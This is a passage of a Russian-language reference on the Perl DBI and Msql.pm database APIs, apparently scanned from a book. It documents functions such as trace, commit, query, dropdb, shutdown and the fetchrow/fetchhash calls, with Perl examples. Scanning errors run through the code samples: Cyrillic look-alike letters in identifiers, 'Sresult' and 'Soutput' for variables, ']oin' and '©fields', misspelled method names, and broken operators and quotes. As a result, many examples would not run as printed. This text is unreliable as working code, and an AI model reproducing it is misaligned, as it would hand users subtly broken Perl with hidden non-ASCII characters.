    print "В таблице 'myothertable' есть $rows строк 'Воb'\n";

    DBI::state

    $sql_error = $handle->state;

    DBI: : state возвращает код ошибки SQL SQLSTATE последней по времени ошибки DBI. В данное время DBD::mSQL и DBD^mysql сообщают 'S1000' для всех ошибок. Эта функция доступна для описателей баз данных и команд. Переменная $ОВ1: : state выполняет ту же задачу.

    Пример

    Use OBI;

    my $db = DBI->connect('DBI:mysql:mydata',

    'webuser','super_secret_squirгеl');

    my $sql_error = $db->state;

    warn("BoT последняя по времени ошибка DBI SQL: $sql_error");

    DBI::trace

    DBI->trace($trace_level)

    DBI->trace($trace_level, $trace_file)

    $handle->trace($trace_level);

    $handle->trace($trace_level, $trace_file);

    DBI:: trace используется в основном для отладки. Если уровень трассировки установлен равным 2, выводится полная отладочная информация. Установка уровня 0 отключает трассировку. DBI->trace осуществляет трассировку для всех описателей, a $handle->trace - только для данного описателя — базы данных или команды. При наличии в DBI- >t race или $handle->trace второго аргумента отладочная информация выводится в указанный файл. Также трассировку можно включить, установив значение переменной окружения DBI_TRACE. Если переменная окружения установлена равной числу (в настоящее время 0 или 2), включается трассировка всех описателей на этом уровне. При другом значении переменной уровень трассировки устанавливается равным 2, а само значение используется в качестве имени файла для вывода отладочной информации.


    Пример

    use DBI;

    my $db1 = DBI->connect('DBI:mysql:mydata',

    'webuser','super_secret_squirrel');

    my $db2 = DBI->connect('DBI:mSQL:myotnerdata',undef,undef);

    DBI >trace(2);

    # Включена трассировка для всех описателей на уровне 2.

    $db2->trace(0);

    # Отключена трассировка для $db2, но продолжает действовать для $db1

    $db1->trace(2,'DBI.trace');

    # Теперь включена трассировка для всех описателей на уровне 2, выдача

    # посылается в файл 'DBI.trace'.

    DBI::commit, DBI::rollback, DBI::ping

    $result = $db->commit;

    $result = $db->rollback;

    Sresult = $db->ping;

    DBI: :commit и DBI: : rollback полезны только при работе с серверами, поддерживающими транзакции. При работе с DBD::mSQL и DBD::mysql они не оказывают никакого эффекта. DBD: :ping пытается проверить, запущен ли сервер базы данных. В DBD::mSQL и DBD::mysql она не реализована.

    Атрибуты

    $db->{AutoCommit}

    $handle->{ChopBlanks}

    $handle->{CompatMode}

    $handle->{InactiveDestroy}

    $handle->{LongReadLen}

    $handle->{LongTruncOk}

    $handle->{PrintError}

    $handle->{RaiseError}

    $handle->{Warn}

    $statement_handle->{CursorName}

    $statement_handle->{insertid} (только MySQL)

    $statement_handle->{is_blob} (только MySQL)

    $statement_handle->{is_key} (только MySQL)

    $statement_handle->{is_not_null}

    $statement_handle->{is_num}

    $statement__handle->{is_pri_key} (только MySQL и mSQL 1.x)

    $statement_handle->{length}

    $statement_handle->{max_length} (только MySQL)

    $statement_handle->{NAME}

    $statement_handle->
    $statement_handle->{NUM_OF_FIELDS}

    $statement_handle->{NUM_OF_PARAMS}

    $statement_handle->{table}

    $statement_handle->{type}

    В DBI.pm API определено несколько атрибутов, которые можно читать и устанавливать в любой момент. Присвоение значения атрибуту может определенным образом изменить поведение текущего соединения. Присвоение любого отличного от нуля значения атрибуту устанавливает его. Присвоение значения 0 атрибуту сбрасывает его. Некоторые значения определены только для конкретных баз данных и непереносимы. Ниже следуют атрибуты, применимые как к описателям баз данных, так и к командам.


    $db->{AutoCommit}

    Этот атрибут оказывает влияние на поведение серверов баз данных, поддерживающих транзакции. Для mSQL и MySQL он всегда должен быть установлен (значение по умолчанию). Попытка изменить его прерывает выполнение программы.

    $handle->{ChopBlanks}

    При установке этого атрибута отсекаются все ведущие и замыкающие пробелы в данных, возвращаемых запросом (например, при вызове DBI: : fetch row ). Все производные от данного описатели наследуют значение этого атрибута. Значение по умолчанию - "сброшен".

    $handle->{InactiveDestroy}

    Назначение этого атрибута - сохранить процесс при ветвлении (fork), чтобы дочерний процесс мог пользоваться родительским описателем. Его следует установить в родительском или дочернем процессе, но не в обоих. Значение по умолчанию - "сброшен".

    $handle-> {PrintError}

    При установке этого атрибута выводятся все предупредительные сообщения. При сброшенном атрибуте доступ к ошибкам осуществляется только через $DBI: :errstr. Все производные от данного описатели наследуют значение этого атрибута. Значение по умолчанию -"установлен".

    $handle->{RaiseError}

    При установке этого атрибута все ошибки возбуждают в программе исключительные ситуации, прерывая ее выполнение, если не определен обработчик '__DIE__'. Все описатели, производные от этого, наследуют значение этого атрибута. Значение по умолчанию -"сброшен".

    $handle->{Warn}

    При установке этого атрибута выводятся предупредительные сообщения о неудачных приемах программирования (особенно пережитках Perl 4). Сброс этого атрибута отключает предупреждения DBI, что допустимо только при полной уверенности в своем мастерстве. Все производные от данного описатели (например, описатель команды, происходящий от описателя базы данных) наследуют значение этого атрибута. Значение по умолчанию — "установлен".

    $statement_handle->{insertid}

    Непереносимый атрибут, определенный только для DBD::mysql. Он возвращает из таблицы текущее значение поля auto_increment (если таковое имеется). Если поле auto_increment не существует, атрибут возвращает undef.


    $statement_handle->{is_blob}

    Это непереносимый атрибут, определенный только для DBD::mysql. Атрибут возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, имеет ли оно тип BLOB. Для описателя команды, который был создан не выражением SELECT, $statement_handle->{is_blob} возвращает undef.

    $statement_handle->{is_key}

    Непереносимый атрибут, определенный только для DBD::mysql. Он возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, определено ли оно как KEY. Для описателя команды, который был создан не выражением SELECT, $statement_handle->{is_key} возвращает undef.

    $statement_handle->{is_not_null}

    Это непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. Он возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, определено ли оно как 'NOT NULL' . Для описателя команды, который был создан не выражением SELECT, данный атрибут возвращает undef. Того же результата можно достичь в переносимом виде, используя $statement_handle->{NULLABLE} .

    $statement_handle->{is_num}

    Это непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. Атрибут возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, имеет ли оно числовой тип. Для описателя команды, созданного не выражением SELECT, $statement_handle->{is_num} возвращает undef.

    $statement_handle->{is_pri_key}

    Это непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. При использовании с DBD::mSQL он оказывает влияние только для серверов mSQLl.x, поскольку mSQL2.x не использует первичные ключи. Атрибут возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, является ли оно первичным ключом.

    Для описателя команды, созданного не выражением SELECT, данный атрибут возвращает undef.


    $statement_handle->{length}

    Непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. Этот атрибут возвращает ссылку на список максимально допустимых размеров полей, содержащихся в описателе команды. Для описателя команды, который был создан не выражением SELECT, $statement_handle->{length} возвращает undef.

    $statement_handle->{max_length}

    Это непереносимый атрибут, определенный только для DBD::mysql. Атрибут возвращает ссылку на список фактических максимальных размеров полей, содержащихся в описателе команды. Для описателя команды, который был создан не выражением SELECT, данный атрибут возвращает undef.

    $statement_handle->{NAME}

    Атрибут возвращает ссылку на список имен полей, содержащихся в описателе команды. Для описателя команды, который был создан не выражением SELECT, $statement_handle->{NAME} возвращает undef.

    $statement_handle->{NULLABLE}

    Этот атрибут возвращает ссылку на массив булевых значений, указывающих для каждого из содержащихся в описателе команды полей, может ли оно иметь значение NULL. Поле, определенное как 'NOT NULL', даст в списке значение 0. Остальные поля дадут значение 1. Для описателя команды, созданного не выражением SELECT, атрибут возвращает undef.

    $statement_handle->{NUM_OF_FIELDS}

    Атрибут возвращает число колонок данных, содержащихся в описателе команды. Для описателя команды, который был создан не выражением SELECT, $statement_handle->{NUM_OF_FIELDS} возвращает 0.

    $statement_handle->{NUM_OF_PARAMS}

    Этот атрибут возвращает число меток-заместителей в описателе команды. Метки-заместители обозначаются в команде символом '?'. Для подстановки вместо меток-заместителей надлежащих значений используется функция DBI: : bind_values .

    $statement_handle->{table}

    Это непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. Атрибут возвращает ссылку на список имен таблиц, к которым осуществлялся доступ в запросе. Полезно использовать для SELECT с соединением нескольких таблиц.


    $statement_handle->{type}

    Непереносимый атрибут, определенный только для DBD::mSQL и DBD::mysql. Он возвращает ссылку на список типов полей, содержащихся в описателе команды. Для описателя команды, созданного не выражением SELECT, $statement_handle->{max_length} возвращает undef. Значениями списка являются целые числа, соответствующие перечислению в заголовочном файле С mysql_com.h из дистрибутива MySQL. Сейчас способа доступа к именам этих типов из DBI не существует. Но доступ к типам возможен через функцию &Mysql: : FIELD_TYPE_ * в Mysql.pm. В DBD::mysql имеется также недокументированный атрибут $statement_handle->{format_type_name} , идентичный $statement_handle- >{type} , за исключением того, что вместо целых чисел возвращает SQL-названия типов. Следует подчеркнуть, что это недокументированный атрибут, и автор DBD::niysql высказал свое намерение убрать его, как только в DBI будет реализована такая же функция.

    $statement_handle->{CursorName}

    $handle->{l_ongReadLen}

    $handle->{l_ongTruncOk}

    $handle->{CompatMode}

    Все эти атрибуты не поддерживаются в DBD::mSQL и DBD::mysql. Присвоение им значений ничего не даст, а чтение возвратит 0 или undef. Исключение составляет атрибут $statement_handle->{CursorName} . В настоящее время любое обращение к нему "убьет" программу.

    Пример

    use DBI;

    my $db = DBI->connect('mysql:mydata','me','mypassword');

    $db->{RAISE_ERROR} = 1;

    # Теперь любая ошибка DBI/DBD убьет программу.

    my $statement_handle = $db->prepare('SELECT * FROM mytable');

    $statement_handle->execute;

    my @fields = @{$statement_handle->{NAME}};

    # @fields содержит теперь список с именами всех полей в 'mytable'.



    Msql.pm API

    use Msql

    use Msql;

    Это объявление должно быть в любой программе Perl, использующей модуль Msql.pm.

    Msql::connect

    $db = Msql->connect;

    $db = Msql->connect($host);

    $db = Msql->connect($host, Sdatabase);

    Устанавливает соединение между вашей программой на Perl и сервером Msql. У этой функции три версии. При отсутствии аргументов соединение устанавливается с сонетом Unix Msql на локальном узле без указания базы данных. Это наиболее эффективное соединение. Если задан один скалярный аргумент, он рассматривается как имя узла или IP-адрес сервера mSQL. Производится соединение с этим сервером без указания базы данных. Если присутствуют два скалярных аргумента, то первый рассматривается как имя узла сервера mSQL, а второй - как имя требуемой базы данных. Программа устанавливает соединение с указанным сервером и выбирает указанную базу данных. Возвращаемое значение является ссылкой на объект, называемый описателем базы данных (database handle). Вся связь с самим сервером базы данных происходит через этот объект. В случае невозможности установить соединение, все версии функции возвращают undef, и в $Msql: :db_errstr помещается сообщение об ошибке.

    Пример

    use Msql;

    # Соединение с сокетом Unix локального узла ' my $db = Msql->connect;

    # Или...

    # Соединение с узлом 'www.myserver.com' без указания, базы данных
    mу $db = Msql->connect('www.myserver.com');

    # Или...

    # Соединение с сервером 'www.myserver.com' и выбор базы данных 'mydata'
    mу $db = Msql->connect('www.myserver.com','mydata');

    Msql::createdb

    $result = $db->createdb($database);

    Msql: : createdb создает базу данных, имя которой принимает в качестве аргумента. Запрос на создание посылается серверу mSQL. Команда посылается от имени пользователя, запустившего CGT-программу. Поэтому для успешного использования в программе CGI последняя должна быть запущена пользователем, имеющим право создания баз данных. Функция возвращает -1 при неудаче и 0 в случае успеха.

    Пример

    use Msql;


    my $db = Msql->connect;

    my $my_new_database = 'mynewdata';

    my $result = $db->createdb($my_new_database);

    die "База данных не создана!"

    if $result == -1;

    print "$my_new_database создана.\n";

    Msql::database

    $database = $db->database;

    Msql: database возвращает имя текущей базы данных как скаляр. Функция возвращает undef, если нет выбранной базы данных.

    Пример

    use Msql;

    my $db = Msql->connect('www.myserver.com','mydata');

    my $database = $db->database;

    print "Здесь должно быть выведено 'mydata': $database\n";

    Msql::dropdb

    $result = $db->dropdb($database);

    Msql: :dropdb принимает в качестве аргумента имя базы данных, которую нужно удалить. Затем она посылает запрос на удаление серверу mSQL. Команда посылается от имени пользователя, запустившего CGI-программу. Поэтому для успешного использования в программе CGI она должна быть запущена пользователем, имеющим право создания баз данных. Функция возвращает -1 при неудаче и 0 в случае успеха. Она не просит подтверждения, и ее результат становится постоянным, поэтому ее следует использовать с крайней осторожностью.

    Пример

    use Msql;

    my $db = Msql->connect;

    my $result = $db->dropdb('mydata');

    die "Команда не выполнена!"

    if result == -1;

    print "'mydata' потеряна навсегда.\n";

    Msql::errmsg

    $error = $db->errmsg:

    Msql::errmsg возвращает последнюю по времени ошибку сеанса работы с сервером mSQL. Значение сохраняется, пока не произойдет следующая ошибка, и тогда заменяется новым. Если во время сеанса не произошло ошибки, функция возвращает undef.

    Пример

    use Msql;

    my $db = Msql->connect;

    my Serror = $db->errmsg;

    warn("Вот последняя по времени ошибка mSQL: $error");

    Msql::getsequenceinfo

    ($step, $value) = $db->getsequenceinfo($table);

    Msql: :getsequenceinfo принимает в качестве аргумента имя таблицы. Функция возвращает шаг и значение последовательности, если она определена в таблице. Если в указанной таблице не определена последовательность, то возвращается неопределенное значение undef, и в Msql: :errmsg помещается ошибка.


    Пример

    use Msql;

    my $db = Msql->connect;

    my ($step, $value) = $db->getsequenceinfo('mytable');

    die " B mytable не задана последовательность" if not $step;

    print "B mytable есть последовательность со значением $value и шагом

    $step\n";

    Msql::host

    Shost = $db->host;

    Msql: :host возвращает имя узла сервера базы данных как скаляр. Не гарантируется возврат канонического или хотя бы полностью квалифицированного доменного имени. В действительности, хотя это и не документировано, Msql:: host возвращает ту самую строку, которая передавалась серверу при вызове Msql::connect . Это согласуется и с тем, что Msql:: host возвращает undef, если использовалась форма Msql: : connect без аргументов.

    Пример

    use Msql;

    my $ijh - Msql->connect( 'www.myserver.com');

    my $host = $db->host;

    print "Вероятно, вы видите 'www.myserver.com': $host\n";

    Msql::listdbs

    @databases = $db->listdbs;

    Msql: :listdbs возвращает список имеющихся на сервере баз данных. Если баз данных нет, она возвращает пустой массив.

    Пример

    use Msql;

    my $db = Msql->connect;

    my @databases = $db->listdbs;

    print "Имеющиеся базы данных:\n\n" . join("\n",@databases);

    Msql::listfields

    $fields = $db->listfields($table);

    Msql:: listf ields принимает в качестве аргумента имя таблицы в текущей базе данных. Она возвращает ссылку на объект, который содержит имена всех полей и некоторые другие сведения. Эта ссылка известна как описатель команды (statement handle). Содержащиеся в нем данные можно извлечь с помощью функций Msql::Statement: :as_string, Msql::Statement: :listindices (только mSQL2.0), Msql: Statement: :numfields , Msql::Statement::table , Msql::Statement::name , Msql::Statement::type , Msql::Statement::isnotnull , Msql::Statement::isprikey , Hsql::Statement::isnum и Msql::Statement: .'length . Если таблицы не существует, функция возвращает неопределенное значение undef, и в Msql: :errmsg помещается ошибка. В описании Msql: :Statement: :fetchhash можно видеть прием, который делает данную функцию несколько устаревшей.


    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $fields = $db->listfields('mytable');

    warn ("Проблемы с 'mytable-': " . $db->errmsg)

    if (not $fields);

    # $ fields явяется ссылкой на все поля в таблице 'mytable'.

    print "mytable содержит следующие поля:\n";

    print $fields->as_string;

    Msql::listindex

    @index_handles = $db->listindex($table,$index);

    Msql: : listindex принимает в качестве аргументов имена таблицы и индекса и возвращает массив описателей команд, содержащих данные о каждом из индексов. Хотя, согласно документации, эта функция возвращает массив описателей команд, всегда возвращается не более одного описателя. Поэтому, вероятно, можно рассматривать эту функцию как возвращающую скалярный описатель команды. Это описатель в том же стиле, что и возвращаемый Msql::query , и может обрабатываться теми же функциями. Если индекс не существует, возвращается неопределенное значение undef. В возвращаемой таблице данных об индексе одна колонка с именем "Index". В первой строке указан тип индекса, который в mSQL2.0 всегда "avl". Остальные строки суть имена полей, составляющих индекс. Эта функция применима только к mSQL версий 2.0 и выше.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $mytable_fields = $db->listfields('mytable');

    my @indices = $mytable_fields->listindices;

    # Я знаю имена всех индексов.

    foreach (@indices) {

    my $index_info_handle = $db->listindex('mytable',$_);

    my (@index_info) = $index_info_handle->fetchcol(0);

    my $type_of_index = shift(@index_info);

    # $type_of_index содержит теперь тип индекса (вероятно, 'avl'),

    # a @index_info содержит теперь список полей в индексе.

    Msql::listtables

    @tables = $db->listtables;

    Msql: :listtables возвращает массив таблиц, имеющихся в базе данных. Если в базе данных нет таблиц, функция вернет пустой массив.

    Пример

    use Msql;

    my $db = Msql->connect;


    my @tables = $db->listtables;

    my $database = $db->database;

    print "B $database есть следующие таблицы:\n\n" join("\n",@tables);

    Msql::query

    $query_output = $db->query($sql_statement);

    Msql::query является самой важной и наиболее часто используемой функцией в Msql.pm API. В действительности вы посылаете SQL-запросы серверу базы данных через эту функцию. Функция принимает в качестве аргумента скалярную строку, содержащую SQL-запрос. Если запрос является выражением SELECT, то она возвращает описатель команды, содержащий результаты выполнения запроса. В противном случае функция вернет число строк, измененных запросом. С описателем команды работают те же самые функции, которые были перечислены для Msql:: listf ields (за исключением Msql:: Statement:: listindices ), a также следующие: Msql::Statement: :fetchrow , Msql::Statement::fetched , Msql::Statement::fetchhash , Msql: Statement::numrows , Msql::Statement::maxlength и Msql: Statement: :dataseek . Если по какой-либо причине запрос был неудачным, возвращается значение undef и в Msql: :errmsg помещается ошибка. Каждый описатель команды содержит выходные данные отдельного запроса, поэтому можно послать системе много запросов и работать с каждым описателем команды, когда заблагорассудится.

    Пример

    use Msql;

    my $db = Msql->connect; $db->selectdb('mydata');

    my $query1 = "SELECT * FROM mytable";

    my $query2 = "SELECT name, date FROM myothertable WHERE name LIKE 'Bob%'";

    my $query3 = "UPDATE myothertable SET name='Bob' WHERE name='Joe'";

    my $mytable_output = $db->query($query1);

    my $myothertable_output = $db->query($query2);

    my $myothertable_input = $db->query($query3);

    # $mytable_output содержит результаты запроса к 'mytable'

    # $myothertable_output содержит результаты запроса к 'myothertable'

    print "Обновление 'myothertable' повлияло на имена в $myothertable_input

    \n";

    $Msql::QUIET

    Если переменная $Msql: : QUIET установлена в true, то параметр -w в Perl отключает вывод ошибок. В противном случае все ошибки MsqlPerl будут автоматически посылаться на STDERR. Переменную можно в любой момент сбросить. Функция вывода сообщений об ошибках по -w настолько полезна, что не рекомендуется устанавливать $Msql: : QUIET .


    Пример

    use Msql;

    # Отключить сообщения об ошибках. Действует, только если сценарий

    # запущен с '-w'.

    $Msql::QUIET = 1;

    # Выполняем многословную часть...

    # Снова включаем сообщения об ошибках. $Msql::QUIET = undef;

    Msql::quote

    $quoted_string = $db->quote($string);

    $truncated_quoted_string = $db->quote($string,$length);

    Msql: :quote принимает в качестве аргумента скалярную строку. Она возвращает ту же строку, но с правильной расстановкой кавычек, пригодную для вставки в поле базы данных типа CHAR или TEXT. Более точно, строка заключается в одиночные кавычки, а одиночные кавычки внутри строки предваряются управляющим символом "обратная косая черта". Если задан второй аргумент, результирующая строка укорачивается до заданной длины.

    Пример

    use Msql;

    my $db = Msql->connect;

    my $string = "Это ' (одинарная кавычка)";

    my $qstring = $db->quote($string);

    print qq%Tenepb значение строки "'Это\\' (одинарная кавычка)'" : $qstring\n%;

    Msql::selectdb

    $db->selectdb($database);

    Msql: :selectdb выбирает базу данных на сервере. В случае неуспеха в Msql: :errmsg помещается ошибка. Единственный действенный способ проверить успешность выполнения функции - посмотреть значение $db->database и сравнить его с той базой данных, с которой вы хотели соединиться. В любой момент выполнения программы можно переключиться между базами данных.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    # Выбранной базой данных является 'mydata'

    if ($db->database ne 'mydata') {

    wаrn('Базу данных выбрать не удалось!'); }

    $db->selectdb('myotherdata');

    # Теперь выбрана база данных 'myotherdata'

    Msql::shutdown

    $result = $db->shutdown;

    Msql: : shutdown посылает на сервер mSQL команду остановки. Команда посылается от имени пользователя, запустившего программу, поэтому для использования в CGI-программе последняя должна запускаться пользователем, имеющим право остановки сервера баз данных. Функция возвращает -1 при неудаче и 0 в случае успеха.


    Пример

    use Msql;

    my $db = Msql->connect;

    # Пора закрывать базу данных...

    my $result = $db->shutdown;

    die "Команда не выполнена!" if $result — -1;

    print "Сервер остановлен.\n";

    Msql::Statement::as_string

    $formatted_table = $statement_handle->as_string;

    Msq1: :Statement: :as_string возвращает данные, содержащиеся в описателе команды, в виде аккуратно отформатированной таблицы ASCII. Таблица аналогична тем, которые выводит монитор msql. Программа pmsql, поставляемая с модулем Msql.pm, использует эту функцию для создания своих таблиц.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $query = "SELECT * FROM mytable";

    my $mytable_output = $db->query($query);

    print "Моя таблица:\n", $mytable_output->as_string;

    # Выводится вся таблица в гораздо более приемлемом виде,

    # чем в примере Msql:[Statement:ifetchhash.

    Msql::Statement::dataseek

    $statement_handle->dataseek($row_number);

    Msql: :Statement: :dataseek принимает в качестве аргумента номер строки. Функция переустанавливает данные, так что следующий вызов Msql: :Statement: :fetchrow или Msql: Statement: :fetchhash возвращает данные указанной строки. Если указанный номер строки выходит за границы таблицы, указатель устанавливается на конец таблицы и при следующем вызове будет возвращено неопределенное значение undef. Первая строка таблицы имеет номер 0.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my Squery = "SELECT name, date FROM myothertable";

    my $myothertable_output = $db->query($query);

    my @names = $myothertable_output->fetchcol(0);

    my @dates = $myothertable_output->fetchcol(1);

    # Теперь указатель установлен в конце таблицы.

    $myothertable_output->dataseek(0);

    # Теперь указатель установлен на начало таблицы,

    print "Это первая строка данных: ", $myothertable_output->fetchrow, "\n".

    Msql::Statement::fetchcol


    @column_of_data = $statement_handle->fetchcol($column_number);

    Msql: :Statement: :fetched принимает в качестве аргумента номер колонки и возвращает массив всех значений, находящихся в этой колонке. Каждый вызов возвращает значения в колонке в одинаковом порядке, поэтому значения с одинаковым номером элемента находятся в одной строке данных. Первая выдаваемая колонка имеет номер 0. Для выполнения этого вызова модуль должен считать всю таблицу, поэтому, если вы хотите продолжить просмотр таблицы после вызова этой функции, переустановите данные с помощью Msql::Statement: :dataseek . Если задан недопустимый номер колонки, возвращается неопределенное значение undef.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $query = "SELECT name, date FROM myothertable WHERE name LIKE 'Bob%'";

    my $myothertable_output = $db->query($query);

    my @names = $myothertable_output->fetchcor(0);

    # @names содержит теперь все имена.

    my @dates = $myothertable_output->fetchcol(1);

    # ©dates содержит теперь все даты.

    for (0..$#names) {

    print "Row $_: $names[$_], $dates[$_]\n"; }

    Msql::Statement::fetchhash

    %hash ='$statement_handle->fetchhash;

    Msql::Statement: :fetchhash возвращает текущую строку описателя команды как ассоциативный массив (или хэш). Ключами хэша служат имена полей, а значениями - значения данных текущей строки. Каждое последующее обращение к функции возвращает очередную строку данных. Когда данных больше нет, функция возвращает неопределенное значение undef.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $query = "SELECT * FROM mytable";

    my $mytable_output = $db->query($query);

    my %first_data_row = $mytable_output->fetchhash;

    my @fields = keys %first_data_row;

    # @fields содержит теперь имена всех полей. В результате, фактически нет

    # нужды использовать Msql::listfields, поскольку ее данные и многие

    If другие можно получить через описатель команды, возвращаемый


    # Msql::query.

    my (%data_row);

    print ]oin("", ©fields), "\n';

    print "-"x70;

    print join("", values(%first_data_row);

    print join("", values(%data_row)) while %data_row = $mytable_output-

    >fetchhash;

    # Таким образом распечатывается вся таблица, хотя и в невыравненном

    # формате.

    Msql::Statement::fetchrow

    @row_of_data = $statement_handle->fetch row;

    Msql:: Statement: : fetch row возвращает очередную строку данных из описателя команды, созданного Msql:.-query. Каждое последующее обращение к Msql: Statement: :fetchrow возвращает очередную строку данных. Когда данных больше нет, функция возвращает неопределенное значение undef. Элементы в результирующем массиве упорядочены в соответствии с исходным запросом. Если запрос имел вид SELECT*FROM ... , то элементы упорядочиваются в соответствии с последовательностью определения полей в таблице.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $query1 = "SELECT * FROM mytable";

    my $query2 = "SELECT name, date FROM myothertable WHERE name LIKE

    'Bob%'";

    my $mytable_output = $db->query($query1);

    my $myothertable_output = $db->query($query2);

    my $i = 0;

    # Чтение строк данных будет продолжаться,

    # пока их больше не останется.

    while (my(@mytable_rows)=$mytable_output->fetcnrow) {

    print "Строка ",$i++,": ".join(', ',@mytable_rows)."\n";

    # Если неизвестна структура таблицы 'mytable',

    # нельзя узнать число элементов в @mytable_rows или их порядок.

    }

    my (Sname, $date);

    # Это первая строка данных в $myotrertable_output.

    ($name, $datc) = $myothertaPle_output->fetchrow;

    # Это следующая строка...

    ($name, $date) = $myothertable_output->fetchrow;

    # И еще одна...

    my @name_and_date = $myothertable_output->fetchrbw;

    # и т.д....

    Msql::Statement::isnotnull

    @not_null = $statement_handle->isnotnull;

    Msql:: Statement: :isnotnull возвращает список булевых значений, указывающих для каждой из содержащихся в описателе команды колонки, была ли она определена как 'NOT NULL'. При вызове в скалярном контексте функция возвращает ссылку на массив.


    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my Soutput = $db->query("select * from mydata");

    my @names = $output->name;

    my @not_null = $output->isnotnull;

    for (0..$#not_null) {

    print "$names[$_]не может быть null\n"

    if $not_null[$_]; }

    Msql::Statement::isnum

    @numbers = $statement_handle->isnum;

    Msql: : Statement: : isnum возвращает список булевых значений, указывающих для каждой из содержащихся в описателе команды колонки, является ли она числовой. При вызове в скалярном контексте функция возвращает ссылку на массив. "Числовая" означает тип, например, 'INT' или 'REAL', но не число в поле типа 'CHAR' или 'TEXT'.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $output = $dD->query("select name, date from myothertable");

    print "Name является числом"

    if $output->isnum->[0];

    print "Date является числом"

    if $output->isnum->[1];

    Msql::Statement::isprikey

    @primary_key = $statement_handle->isprikey;

    Msq1::Statement: :isprikey возвращает список булевых значений, указывающих для каждой из содержащихся в описателе команды колонки, является ли она первичным ключом. При вызове в скалярном контексте функция возвращает ссылку на массив. Эта функция всегда возвращает список, состоящий из нулей, при соединении с сервером mSQL 2, поскольку в mSQL 2 не используются первичные ключи. Однако она может быть полезна с серверами mSQL 1, поскольку в них реализованы первичные ключи.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $output-= $db->query("select * from mytable");

    my @prikeys = $output->isprikey;

    my $number_of_prikeys = scalar @prikeys;

    print "В этом описателе команды $number_of_prikeys первичных ключей. ",

    "В запросе участвует не меньшее число различных таблиц, поскольку ".

    "в каждой таблице может быть только один первичный ключ\n";


    Msql::Statement::length

    @lengths = $statement_handle->length;

    Msql::Statement:: length возвращает список максимально возможных длин для колонок, содержащихся в описателе команды. Это значения, определенные как максимальные при создании таблицы. При вызове в скалярном контексте функция возвращает ссылку на массив.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $output = $db->query("select- * from mytable");

    my @types = $output->type;

    my @lengths = $output->length;

    for (0..$#types) {

    if ($types[$_] == &Msql: :CHAR_TYPE and $lengths[$_] > 1000000) {

    print "В этой таблице у вас есть одно о-очень большое поле CHAR!\";

    } }

    Msql::Statement::listindices

    Pindices = $statement_handle->listindices;

    Msql: : Statement: :listindices возвращает индексы, связанные с какими-либо полями в описателе команды. Поскольку функция непосредственно ищет имена полей, она полезна только для имен, возвращаемых Msql: : listf ields . Если индексы не обнаружены, возвращается неопределенное значение undef. Эту функцию можно использовать только с серверами mSQL 2.0 или последующих версий.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $mytable_fields = $db->listfields('mytable');

    my ©indices = $mytable_fields->listindices;

    print "B 'mytable' есть следующие индексы: " . join(", ",@indices) .

    "\n;

    Msql::Statement::maxlength

    @max_lengths = $statement_handle->maxlength; '

    Msql::Statement: :maxlength возвращает список фактических максимальных размеров всех полей таблицы. При вызове в скалярном контексте функция возвращает ссылку на массив. Поскольку сервер mSQL прямо не сообщает эти данные, она реализована путем чтения всей таблицы и поиска максимального значения для каждого поля. Поэтому в mSQL эта функция может потребовать много ресурсов, если запрос возвращает большой объем данных.

    Пример

    use Msql;

    $db = Msql->connect;


    $db->selectdb('mydata');

    my Soutput = $db->query('select name, date from myothertable');

    print " Самое длинное имя имеет длину " . $ouput->maxlength->[0] . " символов,\n";

    Msql::Statement::name

    @column_names = $statement_handle->name;

    Msql:: Statement:: name возвращает имена колонок данных, содержащихся в описателе команды. При вызове в скалярном контексте функция возвращает ссылку на массив. Как и для Msql::Statement::table , скалярное значение этого списка (в противоположность значению функции при вызове в скалярном контексте) совпадает со значением Msql::Statement::numfields

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $output = $db->query("select * from mytable");

    my @column_names = $output->names;

    # Теперь @column_names - список колонок 'mytable'

    Msql::Statement::numfields

    $number_of_fields = $statement_handle->numfields;

    Msql:: Statement: : numf ields возвращает число полей в каждой строке результирующих данных, содержащихся в описателе команды. Во всех выходных данных есть хотя бы одно поле, поэтому данная функция возвращает положительное число для всех определенных описателей команд.

    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my $output = $db->query("select * from mytable");

    my $numfields = $output->numfields;

    my $numrows = $output->numrows;

    print "В каждой строке таблицы 'mytable' $numfields полей \n";

    print "Всего имеется Snumrows строк данных. Поэтому 'mytable'\n";

    print "содержит" . ($numfields*$numrows) . " элементов данных.\n";

    Msql::Statement::numrows

    $number_of_rows = $statement_handle->numrows;

    Msql: : Statement: : numrows возвращает число строк, содержащихся в описателе команды. Для описателя, который не может содержать строк, например, возвращаемого Msql: :listfields , функция возвращает строку 'N/A.' Если описатель может содержать строки, но их нет - например, он возвращен SELECT, для которого не найдено соответствия, -функция возвращает 0.


    Пример

    use Msql;

    my $db = Msql->connect;

    $db->selectdb('mydata');

    my Soutput = $db->query("select * from mytable");

    my $numrows = '$output->numrows;

